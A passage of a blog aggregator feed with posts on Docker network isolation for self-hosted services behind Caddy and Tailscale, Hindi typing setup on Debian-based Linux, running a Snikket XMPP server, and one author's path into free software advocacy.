<span class="giallo-l"><span>      -</span><span style="color: light-dark(#032F62, #96D0FF);"> p</span><span style="color: light-dark(#032F62, #96D0FF);">lausible</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">n</span><span style="color: light-dark(#22863A, #8DDB8C);">etworks</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">  w</span><span style="color: light-dark(#22863A, #8DDB8C);">eb</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    n</span><span style="color: light-dark(#22863A, #8DDB8C);">ame</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> c</span><span style="color: light-dark(#032F62, #96D0FF);">addy_public</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    e</span><span style="color: light-dark(#22863A, #8DDB8C);">xternal</span><span>:</span><span style="color: light-dark(#005CC5, #6CB6FF);"> true</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">  p</span><span style="color: light-dark(#22863A, #8DDB8C);">lausible</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    n</span><span style="color: light-dark(#22863A, #8DDB8C);">ame</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> p</span><span style="color: light-dark(#032F62, #96D0FF);">lausible</span></span></code></pre>
<p>Here you can see that the ClickHouse container is only attached to the <code>plausible</code> network. This <code>plausible</code> network is scoped only to these services defined in this file.</p>
<p>We can <code>exec</code> inside the <code>caddy_public</code> container and find out the IP of <code>plausible</code> and verify if the network is correctly configured and reachable:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">$</span><span style="color: light-dark(#032F62, #96D0FF);"> host</span><span style="color: light-dark(#032F62, #96D0FF);"> plausible</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">plausible</span><span style="color: light-dark(#032F62, #96D0FF);"> has</span><span style="color: light-dark(#032F62, #96D0FF);"> address</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 172.20.0.3</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">$</span><span style="color: light-dark(#032F62, #96D0FF);"> curl</span><span style="color: light-dark(#032F62, #96D0FF);"> plausible:8000</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">&lt;</span><span>html&gt;&lt;body</span><span style="color: light-dark(#D73A49, #F47067);">&gt;</span><span>You are being </span><span style="color: light-dark(#D73A49, #F47067);">&lt;</span><span>a</span><span> href</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">/login</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#D73A49, #F47067);">&gt;</span><span style="color: light-dark(#032F62, #96D0FF);">r</span><span style="color: light-dark(#032F62, #96D0FF);">e</span><span style="color: light-dark(#032F62, #96D0FF);">d</span><span style="color: light-dark(#032F62, #96D0FF);">i</span><span style="color: light-dark(#032F62, #96D0FF);">r</span><span style="color: light-dark(#032F62, #96D0FF);">e</span><span style="color: light-dark(#032F62, #96D0FF);">c</span><span style="color: light-dark(#032F62, #96D0FF);">t</span><span style="color: light-dark(#032F62, #96D0FF);">e</span><span style="color: light-dark(#032F62, #96D0FF);">d</span><span style="color: light-dark(#D73A49, #F47067);">&lt;</span><span style="color: light-dark(#032F62, #96D0FF);">/</span><span style="color: light-dark(#032F62, #96D0FF);">a</span><span style="color: light-dark(#D73A49, #F47067);">&gt;</span><span style="color: light-dark(#032F62, #96D0FF);">.</span><span style="color: light-dark(#D73A49, #F47067);">&lt;</span><span style="color: light-dark(#032F62, #96D0FF);">/</span><span style="color: light-dark(#032F62, #96D0FF);">b</span><span style="color: light-dark(#032F62, #96D0FF);">o</span><span style="color: light-dark(#032F62, #96D0FF);">d</span><span style="color: light-dark(#032F62, #96D0FF);">y</span><span>&gt;&lt;</span><span style="color: light-dark(#032F62, #96D0FF);">/</span><span style="color: light-dark(#032F62, #96D0FF);">h</span><span style="color: light-dark(#032F62, #96D0FF);">t</span><span style="color: light-dark(#032F62, #96D0FF);">m</span><span style="color: light-dark(#032F62, #96D0FF);">l</span><span style="color: light-dark(#D73A49, #F47067);">&gt;</span><span style="color: light-dark(#032F62, #96D0FF);">/</span><span style="color: light-dark(#032F62, #96D0FF);">s</span><span style="color: light-dark(#032F62, #96D0FF);">r</span><span style="color: light-dark(#032F62, #96D0FF);">v</span><span style="color: light-dark(#6A737D, #768390);"> #</span><span style="color: light-dark(#6A737D, #768390);"> </span></span></code></pre>
<p>Some notes on this setup:</p>
<ul>
<li>You’ll also note that I haven’t <em>published</em> the port 8000 anywhere. Publishing is only required if you want to forward the traffic from your host network to the docker network (via the bridge). But here, since both are attached to the same network (<code>caddy_public</code>), that is not required anymore.</li>
<li>This also means that the only way someone can reach port 8000 on Plausible is only via the Caddy container (which is firewall restricted to Cloudflare IPs.)</li>
<li>The DB container doesn’t need to be accessed at all from Caddy, so we’ve not attached the <code>web</code> network there</li>
</ul>
<p>Here’s another example of exposing an internal service, which works on the same principles:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="yaml"><span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">  g</span><span style="color: light-dark(#22863A, #8DDB8C);">rafana</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    i</span><span style="color: light-dark(#22863A, #8DDB8C);">mage</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> g</span><span style="color: light-dark(#032F62, #96D0FF);">rafana/grafana:8.3.4</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    n</span><span style="color: light-dark(#22863A, #8DDB8C);">etworks</span><span>:</span></span>
<span class="giallo-l"><span>      -</span><span style="color: light-dark(#032F62, #96D0FF);"> m</span><span style="color: light-dark(#032F62, #96D0FF);">onitoring</span></span>
<span class="giallo-l"><span>      -</span><span style="color: light-dark(#032F62, #96D0FF);"> i</span><span style="color: light-dark(#032F62, #96D0FF);">nternal</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">n</span><span style="color: light-dark(#22863A, #8DDB8C);">etworks</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">  i</span><span style="color: light-dark(#22863A, #8DDB8C);">nternal</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    n</span><span style="color: light-dark(#22863A, #8DDB8C);">ame</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> c</span><span style="color: light-dark(#032F62, #96D0FF);">addy_internal</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    e</span><span style="color: light-dark(#22863A, #8DDB8C);">xternal</span><span>:</span><span style="color: light-dark(#005CC5, #6CB6FF);"> true</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">  m</span><span style="color: light-dark(#22863A, #8DDB8C);">onitoring</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    n</span><span style="color: light-dark(#22863A, #8DDB8C);">ame</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> m</span><span style="color: light-dark(#032F62, #96D0FF);">onitoring</span></span></code></pre>
<p>Here, the Grafana container is attached to <code>caddy_internal</code> network. Since the <code>caddy_internal</code> container only publishes ports on the Tailscale IP, anyone who is not inside the Tailscale network will not be able to access this. Tailscale can do much more by setting up ACL rules per device for each user, but since I am the only user, I’ve not configured ACL rules on it yet.</p>
<p>Hope this approach was simplistic enough. I follow this pattern across all the applications I self-host and honestly pretty happy with it</p>
<p>Fin!</p>
]]></content:encoded>
            <author>Karan Sharma</author>
        </item>
        <item>
            <title><![CDATA[Hindi typing in Debian-based distros]]></title>
            <link>https://ravidwivedi.in/posts/hindi-typing-in-debian-based-distros/</link>
            <guid isPermaLink="false">https://ravidwivedi.in/posts/hindi-typing-in-debian-based-distros/</guid>
            <pubDate>Mon, 07 Feb 2022 00:00:00 GMT</pubDate>
            <description><![CDATA[A few days ago, I was contacted by IT for Change to make a video presentation on importance of Free Software in education to teachers in Hindi. When I was making slides in LibreOffice Impress, I saw some problems with Hindi typing. First, I was not able to set the input language to Hindi and second, the fonts in LibreOffice Impress weren’t rendering correctly.
So I asked my friend Raghu for help on how to type in Hindi and how to fix the issue, who helped me. I am documenting my findings here for future reference or helping other people.
I am using PureOS with KDE right now. The same should work in other GNU/Linux distros too, at least in Debian-based ones.
To type in Hindi, go to System Settings -> Input Devices -> Keyboard -> Layouts -> Add layout
To add the layout, fill the following details:
Limit selection by language: Any language
Layout: Indian  (They have written ‘Indian’ as a language, which should be ‘Hindi’)
Variant: default
Label: in
Click ‘Ok’.
Tip: Ctrl + Alt + K keys is the shortcut for switching the input language.
That sets up typing in Hindi.

Mapping of inscript Hindi keyboard

Now for the problem of fonts, Raghu suggested me to download fonts-lohit-deva package which downloads Lohit Devanagari font. After downloading, run the command fc-cache -v | grep lohit to see if lohit is there. If it is there, we are good to go.
In LibreOffice Impress, I changed the font to ‘Lohit Devanagari’ and the problem got fixed.
At last, I made the slides and recorded the video, which you can watch here.]]></description>
            <content:encoded><![CDATA[<p>A few days ago, I was contacted by <a href="https://itforchange.net">IT for Change</a> to make a video presentation on importance of <a href="https://ravidwivedi.in/free-software">Free Software</a> in education to teachers in Hindi. When I was making slides in LibreOffice Impress, I saw some problems with Hindi typing. First, I was not able to set the input language to Hindi and second, the fonts in LibreOffice Impress weren&rsquo;t rendering correctly.</p>
<p>So I asked my friend <a href="https://raghukamath.com">Raghu</a> for help on how to type in Hindi and how to fix the issue, who helped me. I am documenting my findings here for future reference or helping other people.</p>
<p>I am using <a href="https://pureos.net">PureOS</a> with KDE right now. The same should work in other GNU/Linux distros too, at least in Debian-based ones.</p>
<p>To type in Hindi, go to System Settings -&gt; Input Devices -&gt; Keyboard -&gt; Layouts -&gt; Add layout</p>
<p>To add the layout, fill the following details:</p>
<ul>
<li>
<p>Limit selection by language: Any language</p>
</li>
<li>
<p>Layout: Indian  (They have written &lsquo;Indian&rsquo; as a language, which should be &lsquo;Hindi&rsquo;)</p>
</li>
<li>
<p>Variant: default</p>
</li>
<li>
<p>Label: in</p>
</li>
</ul>
<p>Click &lsquo;Ok&rsquo;.</p>
<p>Tip: Ctrl + Alt + K keys is the shortcut for switching the input language.</p>
<p>That sets up typing in Hindi.</p>
<figure>
<a title="Michka_B (fr-Wikipedia), CC BY-SA 4.0 &lt;https://creativecommons.org/licenses/by-sa/4.0&gt;, via Wikimedia Commons" href="https://commons.wikimedia.org/wiki/File:KB_Devanagari_InScript_text_1.svg"><img width="512" alt="KB Devanagari InScript text 1" src="https://upload.wikimedia.org/wikipedia/commons/thumb/9/96/KB_Devanagari_InScript_text_1.svg/512px-KB_Devanagari_InScript_text_1.svg.png"></a>
<figcaption>Mapping of inscript Hindi keyboard</figcaption>
</figure>
<p>Now for the problem of fonts, Raghu suggested me to download <code>fonts-lohit-deva</code> package which downloads Lohit Devanagari font. After downloading, run the command <code>fc-cache -v | grep lohit</code> to see if lohit is there. If it is there, we are good to go.</p>
<p>In LibreOffice Impress, I changed the font to &lsquo;Lohit Devanagari&rsquo; and the problem got fixed.</p>
<p>At last, I made the slides and recorded the video, which you can <a href="https://videos.fsci.in/videos/watch/1c6f69c4-0842-4112-9e7b-2df489505aea">watch here</a>.</p>
]]></content:encoded>
            <author>Ravi Dwivedi</author>
        </item>
        <item>
            <title><![CDATA[How To Be a Totally Natural Conference Speaker?]]></title>
            <link>https://www.evalapply.org/posts/how-to-give-a-conference-talk/index.html</link>
            <guid isPermaLink="false">https://www.evalapply.org/posts/how-to-give-a-conference-talk/index.html</guid>
            <pubDate>Thu, 03 Feb 2022 00:00:00 GMT</pubDate>
            <description><![CDATA[Spurred by a conversation with a whip-smart friend and fellow gentlenerd, who unreasonably believed (believes?) they have nothing worth speaking about at the software conferences we like (IN/Clojure, FunctionalConf, local meetups etc).]]></description>
            <content:encoded><![CDATA[Spurred by a conversation with a whip-smart friend and fellow gentlenerd, who unreasonably believed (believes?) they have nothing worth speaking about at the software conferences we like (IN/Clojure, FunctionalConf, local meetups etc).]]></content:encoded>
            <author>Aditya Athalye</author>
            <category>meta</category>
            <category>writing</category>
            <category>speaking</category>
        </item>
        <item>
            <title><![CDATA[Reframe Technical Debt as Software Debt. Treat it like a AAA-rated CDO.]]></title>
            <link>https://www.evalapply.org/posts/software-debt/index.html</link>
            <guid isPermaLink="false">https://www.evalapply.org/posts/software-debt/index.html</guid>
            <pubDate>Thu, 20 Jan 2022 00:00:00 GMT</pubDate>
            <description><![CDATA[I've long struggled with the *Technical* Debt metaphor. It was immediately useful when I first heard it. I still think it is useful, albeit as a starting point. The more I worked with software, the more infuriatingly incomplete it started to feel. So I've reframed it as *Software* Debt, for myself. Here's what I'm thinking.]]></description>
            <content:encoded><![CDATA[I've long struggled with the *Technical* Debt metaphor. It was immediately useful when I first heard it. I still think it is useful, albeit as a starting point. The more I worked with software, the more infuriatingly incomplete it started to feel. So I've reframed it as *Software* Debt, for myself. Here's what I'm thinking.]]></content:encoded>
            <author>Aditya Athalye</author>
            <category>risk</category>
            <category>complexity</category>
            <category>bias</category>
            <category>systems</category>
            <category>programming</category>
            <category>architecture</category>
            <category>culture</category>
            <category>quality</category>
            <category>software_design</category>
            <category>scale</category>
        </item>
        <item>
            <title><![CDATA[How To Not Die By A Thousand Cuts. Or, How To Think About Software Quality.]]></title>
            <link>https://www.evalapply.org/posts/how-to-not-die-by-a-thousand-cuts/index.html</link>
            <guid isPermaLink="false">https://www.evalapply.org/posts/how-to-not-die-by-a-thousand-cuts/index.html</guid>
            <pubDate>Thu, 20 Jan 2022 00:00:00 GMT</pubDate>
            <description><![CDATA[Not a weighty meandering 300 page Zen dialogue on Motorcycle Maintenance. Merely a meandering blog post in which one contemplates /Quality/ of software products.]]></description>
            <content:encoded><![CDATA[Not a weighty meandering 300 page Zen dialogue on Motorcycle Maintenance. Merely a meandering blog post in which one contemplates /Quality/ of software products.]]></content:encoded>
            <author>Aditya Athalye</author>
            <category>quality</category>
            <category>risk</category>
            <category>systems</category>
        </item>
        <item>
            <title><![CDATA[My Experience of running Snikket]]></title>
            <link>https://ravidwivedi.in/posts/snikket-experience/</link>
            <guid isPermaLink="false">https://ravidwivedi.in/posts/snikket-experience/</guid>
            <pubDate>Thu, 20 Jan 2022 00:00:00 GMT</pubDate>
            <description><![CDATA[What is Snikket?
Snikket is a software that can be installed on a server to self-host an xmpp server. Snikket makes some choices for the person installing it on the server and therefore, makes it easy to get the features any XMPP server would usually like to have– audio/video calls, file sharing, etc. It is very convenient to set up and saves time. The downside is that you lose control over your setup, but you can choose to install plain XMPP on the server anyway if you want more control.
When Praveen told me the idea of Snikket a few days ago, I liked the idea and so I wanted to try and self-host it.
Setting up on the server
Sahil and I first tried to get Snikket running on a server with nginx running on it, but we failed to do so. Snikket’s guide assumes that there is no reverse proxy running on the server. Then I thought that we should try deploying Snikket on a server in which there is no other service running. Sahil allowed access to a server that he was abandoning anyway. He gave a fresh Debian installed on the server. After that, we followed the Snikket self-hosting guide which was very simple and within a few minutes, the server was up and running.
Experience as a user
I created an admin invite link for myself. Then I scanned the QR code in the invite link using the Snikket app. The app asked me to set a username and password, after which my account got created and ready to go. Every user on Snikket needs an invite to join. The admin creates an invite link and shares with the person. The link gives various ways of joining and links to app stores to download the app as well. Then I created an invite link for Sahil. He joined using the Conversations app, which shows that you can use any xmpp app to accept the invite and use your account. we tried texting, file sharing, audio/video calls and it was working very well. Snikket gave 95% compliance to my server out of the box, which usually takes a lot of work in plain XMPP, but Snikket made it easy. On this occassion, the founder of Snikket project, Matt replied to me on Mastodon reminding us not to take compliance measure too seriously:

While generating the invite link, the admin can choose the circle of the person they are inviting. People joining the same circle are automatically added as contacts. They don’t need to add manually. For example, you might have a circle called Family. So, everyone in the Family circle will know each other. You might have a different circle called ‘College’ and so on.
What I like about the Snikket is that it is very good quality out of the box. The audio/video call quality is superb, file sharing works like a breeze.
Further goals
The next step is to configure Snikket on a server running a reverse proxy like nginx. Me and Sahil tried but didn’t get success. If that is successful, I can run the server in long-term. For now, it is only experimental and temporary.
Goodbye for now.
Update on May 15 2022
After a week of writing this post, I could set up Snikket on nginx. It’s been almost 5 months now and the service is very smooth. I only had to update once and that was very easy. I faced no issues as of now on the server side. The uptime has been 100%.
I found Snikket project chatroom as very helping and welcoming. They try their best to help newbies in self-hosting, which usually takes a lot of patience.]]></description>
            <content:encoded><![CDATA[<h3 id="what-is-snikket">What is Snikket?</h3>
<p><a href="https://snikket.org">Snikket</a> is a software that can be installed on a server to self-host an xmpp server. Snikket makes some choices for the person installing it on the server and therefore, makes it easy to get the features any XMPP server would usually like to have&ndash; audio/video calls, file sharing, etc. It is very convenient to set up and saves time. The downside is that you lose control over your setup, but you can choose to install plain XMPP on the server anyway if you want more control.</p>
<p>When Praveen told me the idea of Snikket a few days ago, I liked the idea and so I wanted to try and self-host it.</p>
<h3 id="setting-up-on-the-server">Setting up on the server</h3>
<p><a href="https://sahilister.in">Sahil</a> and I first tried to get Snikket running on a server with nginx running on it, but we failed to do so. Snikket&rsquo;s guide assumes that there is no reverse proxy running on the server. Then I thought that we should try deploying Snikket on a server in which there is no other service running. Sahil allowed access to a server that he was abandoning anyway. He gave a fresh Debian installed on the server. After that, we followed the <a href="https://snikket.org/service/quickstart/">Snikket self-hosting guide</a> which was very simple and within a few minutes, the server was up and running.</p>
<h3 id="experience-as-a-user">Experience as a user</h3>
<p>I created an admin invite link for myself. Then I scanned the QR code in the invite link using the Snikket app. The app asked me to set a username and password, after which my account got created and ready to go. Every user on Snikket needs an invite to join. The admin creates an invite link and shares with the person. The link gives various ways of joining and links to app stores to download the app as well. Then I created an invite link for Sahil. He joined using the Conversations app, which shows that you can use any xmpp app to accept the invite and use your account. we tried texting, file sharing, audio/video calls and it was working very well. Snikket gave 95% <a href="https://compliance.conversations.im/">compliance</a> to my server out of the box, which usually takes a lot of work in plain XMPP, but Snikket made it easy. On this occassion, the founder of Snikket project, Matt replied to me on Mastodon reminding us not to take compliance measure too seriously:</p>
<iframe src="https://mastodon.technology/@mattj/107654001349079664/embed" class="mastodon-embed" style="max-width: 100%; border: 0" width="400" allowfullscreen="allowfullscreen"></iframe>
<p>While generating the invite link, the admin can choose the circle of the person they are inviting. People joining the same circle are automatically added as contacts. They don&rsquo;t need to add manually. For example, you might have a circle called Family. So, everyone in the Family circle will know each other. You might have a different circle called &lsquo;College&rsquo; and so on.</p>
<p>What I like about the Snikket is that it is very good quality out of the box. The audio/video call quality is superb, file sharing works like a breeze.</p>
<h3 id="further-goals">Further goals</h3>
<p>The next step is to configure Snikket on a server running a reverse proxy like nginx. Me and Sahil tried but didn&rsquo;t get success. If that is successful, I can run the server in long-term. For now, it is only experimental and temporary.</p>
<p>Goodbye for now.</p>
<h3 id="update-on-may-15-2022">Update on May 15 2022</h3>
<p>After a week of writing this post, I could set up Snikket on nginx. It&rsquo;s been almost 5 months now and the service is very smooth. I only had to update once and that was very easy. I faced no issues as of now on the server side. The uptime has been 100%.</p>
<p>I found Snikket project chatroom as very helping and welcoming. They try their best to help newbies in self-hosting, which usually takes a lot of patience.</p>
]]></content:encoded>
            <author>Ravi Dwivedi</author>
        </item>
        <item>
            <title><![CDATA[How I got into Free Software]]></title>
            <link>https://ravidwivedi.in/posts/how-i-got-into-free-software/</link>
            <guid isPermaLink="false">https://ravidwivedi.in/posts/how-i-got-into-free-software/</guid>
            <pubDate>Fri, 07 Jan 2022 00:00:00 GMT</pubDate>
            <description><![CDATA[Before I forget my journey, I hastily record it here.
It is a long series of triggers and questions raised in my mind after I met Richard Stallman in 2016 which were responsible for this.
I thought on the issues that he raised but didn’t act for years. Occasionally, thoughts about WhatsApp spying on me came to mind. Thoughts about Google recording my whole life. I told one of my friends about Facebook surveillance, and they said they have nothing to hide. Another friend I told about Uber tracking us. Another friend I told about the music app tracking us, and they responded by saying that they used it for their benefit by getting recommendations related to their music taste. All this time, I didn’t think hard enough. I merely knew about tracking, and I gave up my rights in exchange for convenience.
But many of the times, there were search results logged by Google which I didn’t want to share with them. The question was what should I do? What should anyone do to browse the web who doesn’t want to sign some arbitrary terms and conditions set up by a company who is not even accountable for their actions. So, I used a proprietary VPN app from the Play Store to “protect” myself. But Google still showed the search results in my profile. Now I really don’t want to tell Google where I am or what I search for, but on the other hand, services like Google search and Google Maps do give convenience. Also, not having a single person sharing this view in my immediate friends circle also discouraged me constantly, even if I wanted to do something about it.
In this time period, I also saw some ads by DuckDuckGo on Quora which constantly reminded me about me being pissed off with Google and their surveillance. Thanks, DuckDuckGo :)
Now, in June 2020, my master’s degree got over, and I got some time to think about the issue. I took the challenge. And as it was, it started with this challenge. I thought switching a little software or using Tor or Brave will give me privacy. I thought I will probably do it in 2-3 days. As it turned out, that thought was really stupid! The so called Dunning-Kruger effect was at work, which says that beginners in a field of study tend to overestimate their knowledge.
Initially it started as a challenge and not a quest to change the world or anything. Then I stared searching in DuckDuckGo and felt happy about it. It felt cool because nobody I knew had DuckDuckGo as their default search engine. I also used to search Reddit for information on the issue. I came to know about browser fingerprinting technique used by websites like Google to track users. As depressing as it was, using a VPN does not magically make the user invisible and there were so many complexities involved in making decisions on how to be private or anonymous.
I came across Glenn Greenwald’s book ‘No Place To Hide’ and I read it fully which was about Snowden’s revelations of massive surveillance by NSA. I felt so much for Snowden. His courage also inspired me. He risked his life to tell the world about NSA’s secret spying programs. Whenever I talked to someone about the surveillance, they seemed reluctant to change or even admit that there is some threat. And I thought that this person named Snowden risked his whole life by standing for us against the powerful US Government, but we cannot even compromise on a few conveniences for our privacy.
I didn’t had a framework to think on how to go about this. I wanted digital privacy but it is a complicated thing. I didn’t even think at that time on a threat model. I also used to think ‘What if the replacement services or software are spying on me?’. How do I verify?
This is where I took a page from Richard Stallman’s book, perhaps, I took many pages. It occured to me that ‘if we cannot even inspect what the software does, how can we be sure that the software respects privacy?’ I realized that users do not control a nonfree software. I took some time but I got convinced about the free software being necessary but not sufficient for privacy. So, the replacements I started using, like VLC Media Player or other software, were free software and this was a big difference. Now I had an answer to why use this software and how is it different. At least I was not trusting blindly on the software. I also realized that all the freedoms of free software are important and privacy is not the only issue.
At the time, I didn’t had any idea on how to think about messenger apps or search engines or anything server-based which you do not even install in your own computer.
By September 2020, I already boycotted most of the software/services by Google, Amazon, Microsoft, Facebook and started using Free Software as much as possible. Back then, I had a Macbook so boycotting Apple would take more time. In September 2020, I came to know about FSF India and immediately wrote a volunteer request to FSF India. I wanted to meet like-minded people from India. Till that point, I was doing things all alone, by myself. After a few days, Pirate Praveen replied my volunteer mail. So that is how I joined the community and get in touch with others. I also participated in Software Freedom Camp 2020 where I got to meet more people from the free software movement.
In the camp, I met many people. Sahil and Arun were in my group and we had meetings late night to discuss about privacy and teaching each other. In the later stage, I met Akhil, Anupa, Bady, Akshay. And then Karthik who taught some Hugo and command line to me.
After interaction with the community, I realized that centralization of services is another problem and decentralization, federation of services is necessary for user’s freedom, in addition to free software. That enhanced my thinking, and now I could think on ‘Freedom in the cloud’. I also realized how free software community works in practice. Earlier, I only knew the philosophy of free software.
Fast-forward to April 2021, I left FSF India due to their support for Richard Stallman at the event of him being re-elected as a board member of FSF. After that, I focused on campaigning for free software on behalf of Free Software Community of India(FSCI). I became an activist by this time. I think the main reason I became an activist is that you cannot use Free Software or have privacy/anonymity in isolation. Whatever the majority of people use is usually forced upon the minority. Free Software users who care for philosophy of free software are in minority, and therefore we have to constantly fight, for example, against the social pressure of using WhatsApp. I also realized that the real way to solve the problem is raising awareness on the issue and help people in switching to Free Software. User boycott of nonfree software is a powerful way to defeat the companies who exploit users for using their services.
Naturally, I wanted to switch to fully free software, which means not using any proprietary software. I bought a Liberated Computer which can run exclusively free software, thanks to Abhas. Abhas also taught me how to install a custom ROM in the phone so that I can get rid of proprietary apps. Now I could do my computing without giving away freedom, which is a unique accomplishment in today’s world. This way I switched to free software and my Macbook passed on to someone else who seems happy to be imprisoned by it(but I am not happy that I did this to someone).
Thanks to all the people who made it possible. First of all, huge thanks to my parents for cooperating (to an extent). Without them supporting me, it wouldn’t have been possible. There are many people who took time and effort to teach me many things. Also, there were already technical solutions for freedom. Free Software movement has existed for long. Thanks to all the people for their contributions to the software I rely on. Thanks to the Free Software Community.
I would like to take the opportunity to say that we do not really lack in technical solutions for these problems, but rather the willpower of people to use them.
In the end, I would like to say that the journey has not ended, it has only started.]]></description>
            <content:encoded><![CDATA[<p>Before I forget my journey, I hastily record it here.</p>
<p>It is a long series of triggers and questions raised in my mind after <a href="https://ravidwivedi.in/posts/meeting-rms/">I met Richard Stallman in 2016</a> which were responsible for this.</p>
<p>I thought on the issues that he raised but didn&rsquo;t act for years. Occasionally, thoughts about WhatsApp spying on me came to mind. Thoughts about Google recording my whole life. I told one of my friends about Facebook surveillance, and they said they have nothing to hide. Another friend I told about Uber tracking us. Another friend I told about the music app tracking us, and they responded by saying that they used it for their benefit by getting recommendations related to their music taste. All this time, I didn&rsquo;t think hard enough. I merely knew about tracking, and I gave up my rights in exchange for convenience.</p>
<p>But many of the times, there were search results logged by Google which I didn&rsquo;t want to share with them. The question was what should I do? What should anyone do to browse the web who doesn&rsquo;t want to sign some arbitrary terms and conditions set up by a company who is not even accountable for their actions. So, I used a proprietary VPN app from the Play Store to &ldquo;protect&rdquo; myself. But Google still showed the search results in my profile. Now I really don&rsquo;t want to tell Google where I am or what I search for, but on the other hand, services like Google search and Google Maps do give convenience. Also, not having a single person sharing this view in my immediate friends circle also discouraged me constantly, even if I wanted to do something about it.</p>
<p>In this time period, I also saw some ads by DuckDuckGo on Quora which constantly reminded me about me being pissed off with Google and their surveillance. Thanks, DuckDuckGo :)</p>
<p>Now, in June 2020, my master&rsquo;s degree got over, and I got some time to think about the issue. I took the challenge. And as it was, it started with this challenge. I thought switching a little software or using Tor or Brave will give me privacy. I thought I will probably do it in 2-3 days. As it turned out, that thought was really stupid! The so called Dunning-Kruger effect was at work, which says that beginners in a field of study tend to overestimate their knowledge.</p>
<p>Initially it started as a challenge and not a quest to change the world or anything. Then I stared searching in DuckDuckGo and felt happy about it. It felt cool because nobody I knew had DuckDuckGo as their default search engine. I also used to search Reddit for information on the issue. I came to know about browser fingerprinting technique used by websites like Google to track users. As depressing as it was, using a VPN does not magically make the user invisible and there were so many complexities involved in making decisions on how to be private or anonymous.</p>
<p>I came across Glenn Greenwald&rsquo;s book &lsquo;No Place To Hide&rsquo; and I read it fully which was about Snowden&rsquo;s revelations of massive surveillance by NSA. I felt so much for Snowden. His courage also inspired me. He risked his life to tell the world about NSA&rsquo;s secret spying programs. Whenever I talked to someone about the surveillance, they seemed reluctant to change or even admit that there is some threat. And I thought that this person named Snowden risked his whole life by standing for us against the powerful US Government, but we cannot even compromise on a few conveniences for our privacy.</p>
<p>I didn&rsquo;t had a framework to think on how to go about this. I wanted digital privacy but it is a complicated thing. I didn&rsquo;t even think at that time on a threat model. I also used to think &lsquo;What if the replacement services or software are spying on me?&rsquo;. How do I verify?</p>
<p>This is where I took a page from Richard Stallman&rsquo;s book, perhaps, I took many pages. It occured to me that &lsquo;if we cannot even inspect what the software does, how can we be sure that the software respects privacy?&rsquo; I realized that users do not control a nonfree software. I took some time but I got convinced about the <a href="https://ravidwivedi.in/posts/free-software-important-for-privacy/">free software being necessary but not sufficient for privacy</a>. So, the replacements I started using, like VLC Media Player or other software, were free software and this was a big difference. Now I had an answer to why use this software and how is it different. At least I was not trusting blindly on the software. I also realized that all the freedoms of free software are important and privacy is not the only issue.</p>
<p>At the time, I didn&rsquo;t had any idea on how to think about messenger apps or search engines or anything server-based which you do not even install in your own computer.</p>
<p>By September 2020, I already boycotted most of the software/services by Google, Amazon, Microsoft, Facebook and started using Free Software as much as possible. Back then, I had a Macbook so boycotting Apple would take more time. In September 2020, I came to know about FSF India and immediately wrote a volunteer request to FSF India. I wanted to meet like-minded people from India. Till that point, I was doing things all alone, by myself. After a few days, Pirate Praveen replied my volunteer mail. So that is how I joined the community and get in touch with others. I also participated in <a href="https://camp.fsf.org.in">Software Freedom Camp 2020</a> where I got to meet more people from the free software movement.</p>
<p>In the camp, I met many people. <a href="https://sahilister.in">Sahil</a> and <a href="https://arunmathaisk.in">Arun</a> were in my group and we had meetings late night to discuss about privacy and teaching each other. In the later stage, I met Akhil, Anupa, Bady, <a href="https://blog.learnlearn.in">Akshay</a>. And then <a href="https://kskarthik.gitlab.io/">Karthik</a> who taught some Hugo and command line to me.</p>
<p>After interaction with the community, I realized that centralization of services is another problem and decentralization, federation of services is necessary for user&rsquo;s freedom, in addition to free software. That enhanced my thinking, and now I could think on &lsquo;<a href="https://fsci.in/blog/self-hosting-and-federation/">Freedom in the cloud</a>&rsquo;. I also realized how free software community works in practice. Earlier, I only knew the philosophy of free software.</p>
